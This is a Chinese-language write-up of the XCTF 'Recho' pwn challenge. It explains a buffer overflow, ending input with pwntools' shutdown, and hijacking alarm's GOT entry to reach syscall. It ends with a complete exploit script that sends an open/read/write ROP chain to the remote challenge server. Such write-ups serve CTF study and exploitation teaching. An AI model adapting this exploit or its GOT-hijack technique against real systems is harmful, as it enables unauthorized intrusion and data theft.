攻防世界Recho
对于这题有两个知识点要讲1、got表劫持2、pwntools的shutdown用法场景
先checksec一下:
开了NX保护机制看起来还行,但作为进阶pwn应该不会太简单。
拖进IDA查看:
代码不会花里胡哨,没有调用杂七杂八的函数,同样没有后门函数。
这里溢出点非常简单,只要读入nptr,**v7 = atoi(nptr)**会自动将读入的nptr进行整型转换,atoi函数自行去网上搜,这里不作过多赘述。
v6 = read(0, buf, v7);只要v7足够大,那么buf就可以无限读入实现溢出。但难点在于如何结束循环,因为不管怎样read只要有读入返回值就一定不会是0。
0x01 pwntools shutdown方法
如果是在linux终端上直接运行,我们可以用Ctrl+D,然而,pwn远程,就无法处理这种信号。幸运的是pwntools提供了一个shutdown功能,该功能可以关闭流,如果我们关闭输入流,这个循环就结束了。但是我们别想再次ROP到主函数获取输入,因为关闭后就不能打开,除非重新运行,那么之前的工作不都白费了吗。因此,我们必须一次性完成所有操作。
一次性要完成所有操作,那么暴露地址的方式肯定不能完成,幸运的是,我们可以使用系统调用(syscall)。对于有些系统,system也可以用系统调用,而对于有些系统则不行,因此,我们这里不再get shell,我们直接读取flag,然后打印出来。这样rop链会非常的长……
0x02 got表劫持
为了实现以上想法我们想要构造这样的一条链:
int fd = open("flag",READONLY);
read(fd,buf,100);
write(1,buf,0x30);
因为没有open函数,我们又知道open函数是由syscall调用的,调用号为2,且给出的函数中alarm没有用它也是被syscall调用的于是我们想到改写alarm函数的got表保存的地址使它指向syscall
我们用pwndbg查看一下alarm函数的反汇编代码:
那个endbr64不用管他,函数从它下面开始,也就是syscall离alarm调用处偏移了5,我们要将这个5加上去,(这里是经验快记)所以我们要找一个add [寄存器],寄存器 类型的garget
用ropper查找:
我们选择这个garget,因为rdi比较常见且它比较简单操作
搜索我们要的其他garget:
这里都有
flag字符串可以在字符串窗口找到,但要设置下显示长度要不然可能找不到
先右击任意位置打开选择setup,将下面那个设置成4,那个是最小长度显示
上exp:
from pwn import*
io=remote("61.147.171.105",55003)
elf=ELF("./recho")
read_plt=elf.plt["read"]
write_plt=elf.plt["write"]
alarm_plt=elf.plt["alarm"]
alarm_got=elf.got["alarm"]
flag_addr=0x0601058
pop_rax=0x04006fc
pop_rdi=0x04008a3
pop_rdx=0x04006fe
pop_rsi_r15=0x04008a1
add_rdi=0x040070d
bss_addr=0x0601060#bss段具有可读写权限,将flag存这
#溢出0x38覆盖至rbp,并改写alarm的got表存储的地址
payload=b'a'*0x38+p64(pop_rdi)+p64(alarm_got)
payload+=p64(pop_rax)+p64(5)+p64(add_rdi)
#构造open函数
payload+=p64(pop_rax)+p64(2)+p64(pop_rdi)+p64(flag_addr)+p64(pop_rsi_r15)+p64(0)+p64(0)+p64(alarm_plt)
#构造read函数,open以后,fd的值一般是3开始,依次增加。比如我open了两个文件,那么它们的fd分别为3和4。如果特殊,
#具体看调试结果
payload+=p64(pop_rdi)+p64(3)+p64(pop_rsi_r15)+p64(bss_addr)+p64(0)+p64(pop_rdx)+p64(100)+p64(read_plt)
#构造write函数,把读取到的flag打印出来
payload+=p64(pop_rdi)+p64(1)+p64(pop_rsi_r15)+p64(bss_addr)+p64(0)+p64(pop_rdx)+p64(30)+p64(write_plt)
io.recvuntil("Welcome to Recho server!\n")
io.sendline(str(0x200))
payload=payload.ljust(0x200,"\x00")
io.sendline(payload)
io.shutdown('write')
io.interactive()
获得flag: